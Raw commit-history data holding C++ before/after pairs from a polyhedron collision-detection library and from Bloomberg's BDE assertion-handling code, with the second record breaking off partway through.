((e.a<e.b)?(e.a*vertexes_.size()+e.b):(e.b*vertexes_.size()+e.a));\n}\n\nvoid Polyhedron_algorithms::fillEdges()\n{\n edges_.clear();\n PolyhedronEdge edge;\n std::vector<PolyhedronEdge> triangleEdges;\n std::set<size_t, std::greater<int>> edgesSet;\n for(size_t i = 0; i < triangles_.size(); i++)\n {\n edge.a = triangles_[i].a;\n edge.b = triangles_[i].b;\n edge.computeEdge(vertexes_);\n triangleEdges.push_back(edge);\n \n edge.a = triangles_[i].b;\n edge.b = triangles_[i].c;\n edge.computeEdge(vertexes_);\n triangleEdges.push_back(edge);\n \n edge.a = triangles_[i].c;\n edge.b = triangles_[i].a;\n edge.computeEdge(vertexes_);\n triangleEdges.push_back(edge);\n\n for(auto j = triangleEdges.begin(); j != triangleEdges.end(); j++)\n {\n if(!edgesSet.count(getEdgeKey(*j)))\n {\n edges_.push_back(*j);\n edgesSet.insert(getEdgeKey(*j));\n }\n }\n triangleEdges.clear();\n }\n}\n\nvoid Polyhedron_algorithms::openFromFile(const std::string &filename)\n{\n clear();\n\n std::ifstream is(filename.c_str());\n if(!is.is_open())\n {\n std::stringstream errmsg;\n errmsg << \"EXCEPTION: Unable to open File \" << filename << std::endl;\n throw std::invalid_argument(errmsg.str());\n }\n\n std::string line;\n\n \/\/ Discard first line\n std::getline(is, line);\n size_t nr_vertexes;\n size_t nr_faces;\n is>>nr_vertexes; \/\/get the number of points\n vertexes_.reserve(nr_vertexes);\n is>>nr_faces;\n triangles_.reserve(nr_faces);\n \/\/ Discard the last number\n std::getline(is, line);\n for (size_t g=0; g<nr_vertexes; g++)\n {\n Scalar y[3];\n is >> y[0] >> y[1] >> y[2];\/\/get the coords\n\n S_PolyhedronVertex *v;\n v=new S_PolyhedronVertex();\n v->setCoordinates(y[0],y[1],y[2]);\n v->setNumber(unsigned (vertexes_.size()));\n vertexes_.push_back(v);\n\n }\n\n \/\/get the normals\n const size_t normalSearchLen = 13;\n const char normalSearch[normalSearchLen + 1] = \" - normal:\";\n const size_t verticesSearchLen = 15;\n const char verticesSearch[verticesSearchLen + 1] = \" - vertices:\";\n PolyhedronEdge edge;\n Vector3 p1, p2;\n while(std::getline(is, line).good())\n {\n if(line.substr(0, normalSearchLen) == normalSearch)\n {\n std::stringstream ss;\n ss << line.substr(normalSearchLen);\n Scalar y[3];\n\n PolyhedronTriangle t;\n\n ss>>y[0];\n ss>>y[1];\n ss>>y[2];\n\n t.normal.Set(y[0],y[1],y[2]);\n t.normal.normalize();\n\n while(std::getline(is, line).good())\n {\n if(line.substr(0, verticesSearchLen) == verticesSearch)\n {\n std::stringstream ss;\n ss << line.substr(verticesSearchLen);\n char c = '\\0';\n while(c!='p' && ss.good()) { ss.get(c); }\n ss >> t.a;\n c = '\\0';\n while(c!='p' && ss.good()) { ss.get(c); }\n ss >> t.b;\n c = '\\0';\n while(c!='p' && ss.good()) { ss.get(c); }\n ss >> t.c;\n\n \/\/updatingNeighbors\n vertexes_[t.a]->addNeighbor(vertexes_[t.b]);\n vertexes_[t.a]->addNeighbor(vertexes_[t.c]);\n\n vertexes_[t.b]->addNeighbor(vertexes_[t.a]);\n vertexes_[t.b]->addNeighbor(vertexes_[t.c]);\n\n vertexes_[t.c]->addNeighbor(vertexes_[t.a]);\n vertexes_[t.c]->addNeighbor(vertexes_[t.b]);\n\n triangles_.push_back(t);\n\n break;\n }\n }\n }\n }\n\n for (unsigned int i=0; i<vertexes_.size(); i++)\n {\n vertexes_[i]->updateFastArrays();\n }\n\n deleteVertexesWithoutNeighbors();\n\n fillEdges();\n}\n\nvoid Polyhedron_algorithms::updateVertexNeighbors()\n{\n for (unsigned i=0; i<triangles_.size(); ++i)\n {\n \/\/updatingNeighbors\n vertexes_[triangles_[i].a]->addNeighbor(vertexes_[triangles_[i].b]);\n vertexes_[triangles_[i].a]->addNeighbor(vertexes_[triangles_[i].c]);\n\n vertexes_[triangles_[i].b]->addNeighbor(vertexes_[triangles_[i].a]);\n vertexes_[triangles_[i].b]->addNeighbor(vertexes_[triangles_[i].c]);\n\n vertexes_[triangles_[i].c]->addNeighbor(vertexes_[triangles_[i].a]);\n vertexes_[triangles_[i].c]->addNeighbor(vertexes_[triangles_[i].b]);\n }\n\n for (unsigned i=0; i<vertexes_.size(); ++i)\n {\n vertexes_[i]->updateFastArrays();\n }\n}\n\nvoid Polyhedron_algorithms::clear()\n{\n for (unsigned int i=0; i<vertexes_.size(); ++i)\n {\n delete vertexes_[i];\n }\n vertexes_.clear();\n triangles_.clear();\n edges_.clear();\n updateFastArrays();\n}\n\nvoid Polyhedron_algorithms::clearNeighbors()\n{\n for (unsigned i=0; i<vertexes_.size(); ++i)\n {\n vertexes_[i]->clearNeighbors();\n vertexes_[i]->updateFastArrays();\n }\n}\n\nvoid Polyhedron_algorithms::updateFastArrays()\n{\n if (fastVertexes_!=NULL)\n {\n delete[] fastVertexes_;\n }\n numberOfVertices_ = unsigned(vertexes_.size());\n if (numberOfVertices_ > 0)\n {\n fastVertexes_ = new S_PolyhedronVertex *[numberOfVertices_];\n for (unsigned int i = 0; i < numberOfVertices_; ++i)\n {\n fastVertexes_[i]=vertexes_[i];\n }\n\n lastVertexes_ = &(fastVertexes_[numberOfVertices_]);\n }\n else\n {\n fastVertexes_=lastVertexes_=NULL;\n }\n}\n\nPoint3 Polyhedron_algorithms::naiveSupport(const Vector3&v)const\n{\n S_PolyhedronVertex** current;\n\n current=fastVertexes_;\n\n Scalar supportH=(*current)->supportH(v);\n\n Vector3 best=(*current)->getCoordinates();\n\n current++;\n\n for (unsigned i = 1; i < numberOfVertices_; i++, current++)\n {\n if ((*current)->supportH(v) > supportH)\n {\n supportH = (*current)->supportH(v);\n best = (*current)->getCoordinates();\n }\n }\n\n return best;\n}\n\nPoint3 Polyhedron_algorithms::support(const Vector3&v,int &lastFeature)const\n{\n S_PolyhedronVertex* current;\n Scalar supportH;\n\n if (numberOfVertices_==0)\n {\n std::stringstream errmsg;\n errmsg << \"The polyhedron is empty, impossible to compute support function \" << std::endl;\n throw std::length_error(errmsg.str());\n }\n\n if (lastFeature==-1)\n {\n current=*fastVertexes_;\n }\n else\n {\n current=fastVertexes_[lastFeature];\n }\n\n bool b=current->isHere(v);\n\n unsigned iterations = 0;\n\n while (!b)\n {\n supportH= current->getNextVertexH();\n current = current->getNextVertex();\n b=current->isHere(v,supportH);\n ++iterations;\n\n \/\/\/ if the number of iterations is bigger than the number of vertices it means that we entered an infinite loop\n \/\/\/the best is te return the support computed using the naive version \n if (iterations>numberOfVertices_) \n {\n#ifdef CD_POLYHEDRON_ALGORITHM_VERBOSE_MODE\n std::cout << \"Problem Support Polyhedron, Naive method triggered\" << std::endl;\n#endif\n return naiveSupport(v);\n }\n }\n\n lastFeature=current->getNumber();\n\n\n return current->getCoordinates();\n}\n\nvoid Polyhedron_algorithms::deleteVertexesWithoutNeighbors()\n{\n int *cache=new int[vertexes_.size()];\n std::vector<S_PolyhedronVertex*> v;\n int index=0;\n\n for (unsigned i=0; i<vertexes_.size(); ++i)\n {\n if (vertexes_[i]->getNumNeighbors()>0)\n {\n v.push_back(vertexes_[i]);\n vertexes_[i]->setNumber(index);\n cache[i]=index++;\n }\n else\n {\n delete vertexes_[i];\n cache[i]=-1;\n }\n }\n\n for (unsigned i=0; i<triangles_.size(); ++i)\n {\n triangles_[i].a=cache[triangles_[i].a];\n triangles_[i].b=cache[triangles_[i].b];\n triangles_[i].c=cache[triangles_[i].c];\n }\n\n vertexes_=v;\n\n\n updateFastArrays();\n\n delete[] cache;\n\n}\n<commit_msg>Remove unused variables<commit_after>#include <sch\/S_Polyhedron\/Polyhedron_algorithms.h>\n\n#include <sch\/File_Parsing\/SimplestParsing.h>\n\n#include <fstream>\n#include <stdexcept>\n#include <string>\n#include <algorithm>\n#include <set>\n\n\/\/#define CD_POLYHEDRON_ALGORITHM_VERBOSE_MODE \/\/VERBOSE mode (slows down the algorithm) default is commented\n\nusing namespace sch;\n\nPolyhedron_algorithms::Polyhedron_algorithms(void)\n : fastVertexes_(0x0),\n lastVertexes_(0x0),\n numberOfVertices_(0)\n{\n\n}\n\nPolyhedron_algorithms::Polyhedron_algorithms(const Polyhedron_algorithms &p)\n :triangles_(p.triangles_)\n ,fastVertexes_(0x0)\n ,lastVertexes_(0x0)\n{\n for (unsigned i=0; i<p.vertexes_.size(); ++i)\n {\n vertexes_.push_back(p.vertexes_[i]->clone());\n }\n\n updateVertexNeighbors();\n\n updateFastArrays();\n}\n\nPolyhedron_algorithms::~Polyhedron_algorithms(void)\n{\n if (fastVertexes_!=NULL)\n {\n delete[] fastVertexes_;\n }\n for (unsigned int i=0; i<vertexes_.size(); ++i)\n {\n delete vertexes_[i];\n }\n}\n\nconst Polyhedron_algorithms& Polyhedron_algorithms::operator =(const Polyhedron_algorithms &p)\n{\n if (this==&p)\n {\n return *this;\n }\n else\n {\n clear();\n triangles_=p.triangles_;\n\n for (unsigned i=0; i<p.vertexes_.size(); ++i)\n {\n vertexes_.push_back(p.vertexes_[i]->clone());\n }\n\n updateVertexNeighbors();\n\n updateFastArrays();\n\n\n return *this;\n }\n}\n\nsize_t Polyhedron_algorithms::getEdgeKey(PolyhedronEdge e)\n{\n return ((e.a<e.b)?(e.a*vertexes_.size()+e.b):(e.b*vertexes_.size()+e.a));\n}\n\nvoid Polyhedron_algorithms::fillEdges()\n{\n edges_.clear();\n PolyhedronEdge edge;\n std::vector<PolyhedronEdge> triangleEdges;\n std::set<size_t, std::greater<int>> edgesSet;\n for(size_t i = 0; i < triangles_.size(); i++)\n {\n edge.a = triangles_[i].a;\n edge.b = triangles_[i].b;\n edge.computeEdge(vertexes_);\n triangleEdges.push_back(edge);\n \n edge.a = triangles_[i].b;\n edge.b = triangles_[i].c;\n edge.computeEdge(vertexes_);\n triangleEdges.push_back(edge);\n \n edge.a = triangles_[i].c;\n edge.b = triangles_[i].a;\n edge.computeEdge(vertexes_);\n triangleEdges.push_back(edge);\n\n for(auto j = triangleEdges.begin(); j != triangleEdges.end(); j++)\n {\n if(!edgesSet.count(getEdgeKey(*j)))\n {\n edges_.push_back(*j);\n edgesSet.insert(getEdgeKey(*j));\n }\n }\n triangleEdges.clear();\n }\n}\n\nvoid Polyhedron_algorithms::openFromFile(const std::string &filename)\n{\n clear();\n\n std::ifstream is(filename.c_str());\n if(!is.is_open())\n {\n std::stringstream errmsg;\n errmsg << \"EXCEPTION: Unable to open File \" << filename << std::endl;\n throw std::invalid_argument(errmsg.str());\n }\n\n std::string line;\n\n \/\/ Discard first line\n std::getline(is, line);\n size_t nr_vertexes;\n size_t nr_faces;\n is>>nr_vertexes; \/\/get the number of points\n vertexes_.reserve(nr_vertexes);\n is>>nr_faces;\n triangles_.reserve(nr_faces);\n \/\/ Discard the last number\n std::getline(is, line);\n for (size_t g=0; g<nr_vertexes; g++)\n {\n Scalar y[3];\n is >> y[0] >> y[1] >> y[2];\/\/get the coords\n\n S_PolyhedronVertex *v;\n v=new S_PolyhedronVertex();\n v->setCoordinates(y[0],y[1],y[2]);\n v->setNumber(unsigned (vertexes_.size()));\n vertexes_.push_back(v);\n\n }\n\n \/\/get the normals\n const size_t normalSearchLen = 13;\n const char normalSearch[normalSearchLen + 1] = \" - normal:\";\n const size_t verticesSearchLen = 15;\n const char verticesSearch[verticesSearchLen + 1] = \" - vertices:\";\n PolyhedronEdge edge;\n\n while(std::getline(is, line).good())\n {\n if(line.substr(0, normalSearchLen) == normalSearch)\n {\n std::stringstream ss;\n ss << line.substr(normalSearchLen);\n Scalar y[3];\n\n PolyhedronTriangle t;\n\n ss>>y[0];\n ss>>y[1];\n ss>>y[2];\n\n t.normal.Set(y[0],y[1],y[2]);\n t.normal.normalize();\n\n while(std::getline(is, line).good())\n {\n if(line.substr(0, verticesSearchLen) == verticesSearch)\n {\n std::stringstream ss;\n ss << line.substr(verticesSearchLen);\n char c = '\\0';\n while(c!='p' && ss.good()) { ss.get(c); }\n ss >> t.a;\n c = '\\0';\n while(c!='p' && ss.good()) { ss.get(c); }\n ss >> t.b;\n c = '\\0';\n while(c!='p' && ss.good()) { ss.get(c); }\n ss >> t.c;\n\n \/\/updatingNeighbors\n vertexes_[t.a]->addNeighbor(vertexes_[t.b]);\n vertexes_[t.a]->addNeighbor(vertexes_[t.c]);\n\n vertexes_[t.b]->addNeighbor(vertexes_[t.a]);\n vertexes_[t.b]->addNeighbor(vertexes_[t.c]);\n\n vertexes_[t.c]->addNeighbor(vertexes_[t.a]);\n vertexes_[t.c]->addNeighbor(vertexes_[t.b]);\n\n triangles_.push_back(t);\n\n break;\n }\n }\n }\n }\n\n for (unsigned int i=0; i<vertexes_.size(); i++)\n {\n vertexes_[i]->updateFastArrays();\n }\n\n deleteVertexesWithoutNeighbors();\n\n fillEdges();\n}\n\nvoid Polyhedron_algorithms::updateVertexNeighbors()\n{\n for (unsigned i=0; i<triangles_.size(); ++i)\n {\n \/\/updatingNeighbors\n vertexes_[triangles_[i].a]->addNeighbor(vertexes_[triangles_[i].b]);\n vertexes_[triangles_[i].a]->addNeighbor(vertexes_[triangles_[i].c]);\n\n vertexes_[triangles_[i].b]->addNeighbor(vertexes_[triangles_[i].a]);\n vertexes_[triangles_[i].b]->addNeighbor(vertexes_[triangles_[i].c]);\n\n vertexes_[triangles_[i].c]->addNeighbor(vertexes_[triangles_[i].a]);\n vertexes_[triangles_[i].c]->addNeighbor(vertexes_[triangles_[i].b]);\n }\n\n for (unsigned i=0; i<vertexes_.size(); ++i)\n {\n vertexes_[i]->updateFastArrays();\n }\n}\n\nvoid Polyhedron_algorithms::clear()\n{\n for (unsigned int i=0; i<vertexes_.size(); ++i)\n {\n delete vertexes_[i];\n }\n vertexes_.clear();\n triangles_.clear();\n edges_.clear();\n updateFastArrays();\n}\n\nvoid Polyhedron_algorithms::clearNeighbors()\n{\n for (unsigned i=0; i<vertexes_.size(); ++i)\n {\n vertexes_[i]->clearNeighbors();\n vertexes_[i]->updateFastArrays();\n }\n}\n\nvoid Polyhedron_algorithms::updateFastArrays()\n{\n if (fastVertexes_!=NULL)\n {\n delete[] fastVertexes_;\n }\n numberOfVertices_ = unsigned(vertexes_.size());\n if (numberOfVertices_ > 0)\n {\n fastVertexes_ = new S_PolyhedronVertex *[numberOfVertices_];\n for (unsigned int i = 0; i < numberOfVertices_; ++i)\n {\n fastVertexes_[i]=vertexes_[i];\n }\n\n lastVertexes_ = &(fastVertexes_[numberOfVertices_]);\n }\n else\n {\n fastVertexes_=lastVertexes_=NULL;\n }\n}\n\nPoint3 Polyhedron_algorithms::naiveSupport(const Vector3&v)const\n{\n S_PolyhedronVertex** current;\n\n current=fastVertexes_;\n\n Scalar supportH=(*current)->supportH(v);\n\n Vector3 best=(*current)->getCoordinates();\n\n current++;\n\n for (unsigned i = 1; i < numberOfVertices_; i++, current++)\n {\n if ((*current)->supportH(v) > supportH)\n {\n supportH = (*current)->supportH(v);\n best = (*current)->getCoordinates();\n }\n }\n\n return best;\n}\n\nPoint3 Polyhedron_algorithms::support(const Vector3&v,int &lastFeature)const\n{\n S_PolyhedronVertex* current;\n Scalar supportH;\n\n if (numberOfVertices_==0)\n {\n std::stringstream errmsg;\n errmsg << \"The polyhedron is empty, impossible to compute support function \" << std::endl;\n throw std::length_error(errmsg.str());\n }\n\n if (lastFeature==-1)\n {\n current=*fastVertexes_;\n }\n else\n {\n current=fastVertexes_[lastFeature];\n }\n\n bool b=current->isHere(v);\n\n unsigned iterations = 0;\n\n while (!b)\n {\n supportH= current->getNextVertexH();\n current = current->getNextVertex();\n b=current->isHere(v,supportH);\n ++iterations;\n\n \/\/\/ if the number of iterations is bigger than the number of vertices it means that we entered an infinite loop\n \/\/\/the best is te return the support computed using the naive version \n if (iterations>numberOfVertices_) \n {\n#ifdef CD_POLYHEDRON_ALGORITHM_VERBOSE_MODE\n std::cout << \"Problem Support Polyhedron, Naive method triggered\" << std::endl;\n#endif\n return naiveSupport(v);\n }\n }\n\n lastFeature=current->getNumber();\n\n\n return current->getCoordinates();\n}\n\nvoid Polyhedron_algorithms::deleteVertexesWithoutNeighbors()\n{\n int *cache=new int[vertexes_.size()];\n std::vector<S_PolyhedronVertex*> v;\n int index=0;\n\n for (unsigned i=0; i<vertexes_.size(); ++i)\n {\n if (vertexes_[i]->getNumNeighbors()>0)\n {\n v.push_back(vertexes_[i]);\n vertexes_[i]->setNumber(index);\n cache[i]=index++;\n }\n else\n {\n delete vertexes_[i];\n cache[i]=-1;\n }\n }\n\n for (unsigned i=0; i<triangles_.size(); ++i)\n {\n triangles_[i].a=cache[triangles_[i].a];\n triangles_[i].b=cache[triangles_[i].b];\n triangles_[i].c=cache[triangles_[i].c];\n }\n\n vertexes_=v;\n\n\n updateFastArrays();\n\n delete[] cache;\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ bsls_assert.cpp -*-C++-*-\n#include <bsls_assert.h>\n\n#include <bsls_ident.h>\nBSLS_IDENT(\"$Id$ $CSID$\")\n\n#include <bsls_asserttestexception.h>\n#include <bsls_pointercastutil.h>\n#include <bsls_types.h>\n#include <bsls_log.h>\n#include <bsls_logseverity.h>\n\n#include <exception>\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#ifdef BSLS_PLATFORM_OS_AIX\n#include <signal.h>\n#endif\n\n#ifdef BSLS_PLATFORM_OS_UNIX\n#include <unistd.h> \/\/ 'sleep'\n#endif\n\n#ifdef BSLS_PLATFORM_OS_WINDOWS\n#include <windows.h> \/\/ IsDebbugerPresent\n#include <crtdbg.h> \/\/ '_CrtSetReportMode', to suppress pop-ups\n\ntypedef unsigned long DWORD;\n\nextern \"C\" {\n __declspec(dllimport) void __stdcall Sleep(DWORD dwMilliseconds);\n};\n#endif\n\n#ifdef BSLS_ASSERT_NORETURN\n#error BSLS_ASSERT_NORETURN must be a macro scoped locally to this file\n#endif\n\n\/\/ Note that a portable syntax for 'noreturn' will be available once we have\n\/\/ access to conforming C++0x compilers.\n\/\/# define BSLS_ASSERT_NORETURN [[noreturn]]\n\n#ifdef BSLS_PLATFORM_CMP_MSVC\n# define BSLS_ASSERT_NORETURN __declspec(noreturn)\n#else\n# define BSLS_ASSERT_NORETURN\n#endif\n\nstatic\nBloombergLP::bsls::AtomicOperations_Imp::AtomicTypes::Int g_failureReturnCount;\n\nnamespace BloombergLP {\n\n#ifndef BDE_OMIT_INTERNAL_DEPRECATED\n\/\/ We want to print the error message to 'stderr', not 'stdout'. The old\n\/\/ documentation for 'printError' is:\n\/\/..\n\/\/ Print a formatted error message to standard output. (Most Bloomberg\n\/\/ processes will send standard output to a log file.)\n\/\/..\n\/\/ TBD: find out whether 'stderr' goes to 'act.log'.\n#endif \/\/ BDE_OMIT_INTERNAL_DEPRECATED\n\nstatic\nvoid printError(const char *text, const char *file, int line)\n \/\/ Print a formatted error message to 'stderr' using the specified\n \/\/ expression 'text', 'file' name, and 'line' number. If either\n \/\/ 'text' or 'file' is empty (\"\") or null (0), replace it with some\n \/\/ informative, \"human-readable\" text, before formatting.\n{\n if (!text) {\n text = \"(* Unspecified Expression Text *)\";\n }\n else if (!*text) {\n text = \"(* Empty Expression Text *)\";\n }\n\n if (!file) {\n file = \"(* Unspecified File Name *)\";\n }\n else if (!*file) {\n file = \"(* Empty File Name *)\";\n }\n\n bsls::Log::logFormattedMessage(\n bsls::LogSeverity::e_ERROR, file, line, \"Assertion failed: %s\", text);\n}\n\nnamespace bsls {\n\n \/\/ ------------\n \/\/ class Assert\n \/\/ ------------\n\n\/\/ CLASS DATA\nbsls::AtomicOperations::AtomicTypes::Pointer\n Assert::s_handler = {(void *) &Assert::failAbort};\nbsls::AtomicOperations::AtomicTypes::Int Assert::s_lockedFlag = {0};\n\n\/\/ CLASS METHODS\nvoid Assert::setFailureHandlerRaw(Assert::Handler function)\n{\n bsls::AtomicOperations::setPtrRelease(\n &s_handler, PointerCastUtil::cast<void *>(function));\n}\n\nvoid Assert::setFailureHandler(Assert::Handler function)\n{\n if (!bsls::AtomicOperations::getIntRelaxed(&s_lockedFlag)) {\n setFailureHandlerRaw(function);\n }\n}\n\nvoid Assert::lockAssertAdministration()\n{\n bsls::AtomicOperations::setIntRelaxed(&s_lockedFlag, 1);\n}\n\nAssert::Handler Assert::failureHandler()\n{\n return (Handler) bsls::AtomicOperations::getPtrAcquire(&s_handler);\n}\n\n \/\/ Macro Dispatcher Method\n\nBSLS_ASSERT_NORETURN_INVOKE_HANDLER\nvoid Assert::invokeHandler(const char *text, const char *file, int line)\n{\n Assert::Handler currentHandlerAddress = failureHandler();\n\n currentHandlerAddress(text, file, line);\n\n \/\/ The failure handler should not return. If a returning failure handler\n \/\/ has been installed, alert the user that the program is continuing to\n \/\/ run.\n\n unsigned count = static_cast<unsigned>(\n AtomicOperations::incrementIntNvAcqRel(&g_failureReturnCount));\n\n if (BSLS_PERFORMANCEHINT_PREDICT_UNLIKELY(0 == (count & (count - 1)))) {\n BSLS_PERFORMANCEHINT_UNLIKELY_HINT;\n\n \/\/ Log when 'count' is a power of 2.\n\n if (count == (1 << 30)) {\n \/\/ Avoid undefined behavior by resetting the counter.\n\n AtomicOperations::setInt(&g_failureReturnCount, 1 << 29);\n }\n\n Log::logFormattedMessage(LogSeverity::e_FATAL,\n file,\n line,\n \"BSLS_ASSERT failure: '%s'\",\n text);\n\n BSLS_LOG_FATAL(\"Bad 'bsls_assert' configuration: \"\n \"violation handler at %p failed to prevent program \"\n \"from continuing.\",\n currentHandlerAddress);\n }\n\n#ifdef BSLS_ASSERT_ENABLE_NORETURN_FOR_INVOKE_HANDLER\n std::abort();\n#endif\n}\n\n \/\/ Standard Assertion-Failure Handlers\n\nBSLS_ASSERT_NORETURN\nvoid Assert::failAbort(const char *text, const char *file, int line)\n{\n printError(text, file, line);\n\n#ifndef BDE_OMIT_INTERNAL_DEPRECATED\n \/\/ See DRQS 8923441: The following is a work-around for a Fortran compiler bug.\n#endif \/\/ BDE_OMIT_INTERNAL_DEPRECATED\n\n#ifdef BSLS_PLATFORM_OS_AIX\n sigset_t newset;\n sigemptyset(&newset);\n sigaddset(&newset, SIGABRT);\n#if defined(BDE_BUILD_TARGET_MT)\n pthread_sigmask(SIG_UNBLOCK, &newset, 0);\n#else\n sigprocmask(SIG_UNBLOCK, &newset, 0);\n#endif\n#endif\n\n#ifndef BDE_OMIT_INTERNAL_DEPRECATED\n \/\/ See DRQS 13882128: Note that (according to Oleg) the first line alone may be\n \/\/ sufficient.\n#endif \/\/ BDE_OMIT_INTERNAL_DEPRECATED\n\n#ifdef BSLS_PLATFORM_OS_WINDOWS\n \/\/ The following configures the runtime library on how to report asserts,\n \/\/ errors, and warnings in order to avoid pop-up windows when 'abort' is\n \/\/ called.\n if (!IsDebuggerPresent()) {\n _CrtSetReportMode(_CRT_ASSERT, 0);\n _CrtSetReportMode(_CRT_ERROR, 0);\n _CrtSetReportMode(_CRT_WARN, 0);\n }\n#endif\n\n std::abort();\n}\n\nBSLS_ASSERT_NORETURN\nvoid Assert::failSleep(const char *text, const char *file, int line)\n{\n printError(text, file, line);\n\n volatile int sleepDuration = 1;\n\n while (1 == sleepDuration) {\n\n#if defined(BSLS_PLATFORM_OS_UNIX)\n sleep(sleepDuration);\n#elif defined(BSLS_PLATFORM_OS_WINDOWS)\n Sleep(sleepDuration * 1000); \/\/ milliseconds\n#else\n #error \"Do not know how to sleep on this platform.\"\n#endif\n\n }\n\n \/\/ We will never reach this line, but it is needed to let the compiler know\n \/\/ that this function does not return.\n\n std::abort();\n}\n\nBSLS_ASSERT_NORETURN\nvoid Assert::failThrow(const char *text, const char *file, int line)\n{\n\n#ifdef BDE_BUILD_TARGET_EXC\n if (!std::uncaught_exception()) {\n throw AssertTestException(text, file, line);\n }\n else {\n bsls::Log::logMessage(bsls::LogSeverity::e_ERROR, file, line,\n \"BSLS_ASSERT: An uncaught exception is pending;\"\n \" cannot throw 'AssertTestException'.\");\n }\n#endif\n\n failAbort(text, file, line);\n}\n\n} \/\/ close package namespace\n\n#undef BSLS_ASSERT_NORETURN\n\nnamespace bsls {\n\n \/\/ -------------------------------\n \/\/ class AssertFailureHandlerGuard\n \/\/ -------------------------------\n\nAssertFailureHandlerGuard::AssertFailureHandlerGuard(Assert::Handler temporary)\n: d_original(Assert::failureHandler())\n{\n Assert::setFailureHandlerRaw(temporary);\n}\n\nAssertFailureHandlerGuard::~AssertFailureHandlerGuard()\n{\n Assert::setFailureHandlerRaw(d_original);\n}\n\n} \/\/ close package namespace\n\n} \/\/ close enterprise namespace\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Copyright 2013 Bloomberg Finance L.P.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ ----------------------------- END-OF-FILE ----------------------------------\n<commit_msg>Move handler return counter into 'invokeHandler'.<commit_after>\/\/ bsls_assert.cpp -*-C++-*-\n#include <bsls_assert.h>\n\n#include <bsls_ident.h>\nBSLS_IDENT(\"$Id$ $CSID$\")\n\n#include <bsls_asserttestexception.h>\n#include <bsls_pointercastutil.h>\n#include <bsls_types.h>\n#include <bsls_log.h>\n#include <bsls_logseverity.h>\n\n#include <exception>\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#ifdef BSLS_PLATFORM_OS_AIX\n#include <signal.h>\n#endif\n\n#ifdef BSLS_PLATFORM_OS_UNIX\n#include <unistd.h> \/\/ 'sleep'\n#endif\n\n#ifdef BSLS_PLATFORM_OS_WINDOWS\n#include <windows.h> \/\/ IsDebbugerPresent\n#include <crtdbg.h> \/\/ '_CrtSetReportMode', to suppress pop-ups\n\ntypedef unsigned long DWORD;\n\nextern \"C\" {\n __declspec(dllimport) void __stdcall Sleep(DWORD dwMilliseconds);\n};\n#endif\n\n#ifdef BSLS_ASSERT_NORETURN\n#error BSLS_ASSERT_NORETURN must be a macro scoped locally to this file\n#endif\n\n\/\/ Note that a portable syntax for 'noreturn' will be available once we have\n\/\/ access to conforming C++0x compilers.\n\/\/# define BSLS_ASSERT_NORETURN [[noreturn]]\n\n#ifdef BSLS_PLATFORM_CMP_MSVC\n# define BSLS_ASSERT_NORETURN __declspec(noreturn)\n#else\n# define BSLS_ASSERT_NORETURN\n#endif\n\nnamespace BloombergLP {\n\n#ifndef BDE_OMIT_INTERNAL_DEPRECATED\n\/\/ We want to print the error message to 'stderr', not 'stdout'. The old\n\/\/ documentation for 'printError' is:\n\/\/..\n\/\/ Print a formatted error message to standard output. (Most Bloomberg\n\/\/ processes will send standard output to a log file.)\n\/\/..\n\/\/ TBD: find out whether 'stderr' goes to 'act.log'.\n#endif \/\/ BDE_OMIT_INTERNAL_DEPRECATED\n\nstatic\nvoid printError(const char *text, const char *file, int line)\n \/\/ Print a formatted error message to 'stderr' using the specified\n \/\/ expression 'text', 'file' name, and 'line' number. If either\n \/\/ 'text' or 'file' is empty (\"\") or null (0), replace it with some\n \/\/ informative, \"human-readable\" text, before formatting.\n{\n if (!text) {\n text = \"(* Unspecified Expression Text *)\";\n }\n else if (!*text) {\n text = \"(* Empty Expression Text *)\";\n }\n\n if (!file) {\n file = \"(* Unspecified File Name *)\";\n }\n else if (!*file) {\n file = \"(* Empty File Name *)\";\n }\n\n bsls::Log::logFormattedMessage(\n bsls::LogSeverity::e_ERROR, file, line, \"Assertion failed: %s\", text);\n}\n\nnamespace bsls {\n\n \/\/ ------------\n \/\/ class Assert\n \/\/ ------------\n\n\/\/ CLASS DATA\nbsls::AtomicOperations::AtomicTypes::Pointer\n Assert::s_handler = {(void *) &Assert::failAbort};\nbsls::AtomicOperations::AtomicTypes::Int Assert::s_lockedFlag = {0};\n\n\/\/ CLASS METHODS\nvoid Assert::setFailureHandlerRaw(Assert::Handler function)\n{\n bsls::AtomicOperations::setPtrRelease(\n &s_handler, PointerCastUtil::cast<void *>(function));\n}\n\nvoid Assert::setFailureHandler(Assert::Handler function)\n{\n if (!bsls::AtomicOperations::getIntRelaxed(&s_lockedFlag)) {\n setFailureHandlerRaw(function);\n }\n}\n\nvoid Assert::lockAssertAdministration()\n{\n bsls::AtomicOperations::setIntRelaxed(&s_lockedFlag, 1);\n}\n\nAssert::Handler Assert::failureHandler()\n{\n return (Handler) bsls::AtomicOperations::getPtrAcquire(&s_handler);\n}\n\n \/\/ Macro Dispatcher Method\n\nBSLS_ASSERT_NORETURN_INVOKE_HANDLER\nvoid Assert::invokeHandler(const char *text, const char *file, int line)\n{\n static AtomicOperations::AtomicTypes::Int failureReturnCount = {0};\n\n Assert::Handler currentHandlerAddress = failureHandler();\n\n currentHandlerAddress(text, file, line);\n\n \/\/ The failure handler should not return. If a returning failure handler\n \/\/ has been installed, alert the user that the program is continuing to\n \/\/ run.\n\n unsigned count = static_cast<unsigned>(\n AtomicOperations::incrementIntNvAcqRel(&failureReturnCount));\n\n if (BSLS_PERFORMANCEHINT_PREDICT_UNLIKELY(0 == (count & (count - 1)))) {\n BSLS_PERFORMANCEHINT_UNLIKELY_HINT;\n\n \/\/ Log when 'count' is a power of 2.\n\n if (count == (1 << 30)) {\n \/\/ Avoid undefined behavior by resetting the counter.\n\n AtomicOperations::setInt(&failureReturnCount, 1 << 29);\n }\n\n Log::logFormattedMessage(LogSeverity::e_FATAL,\n file,\n line,\n 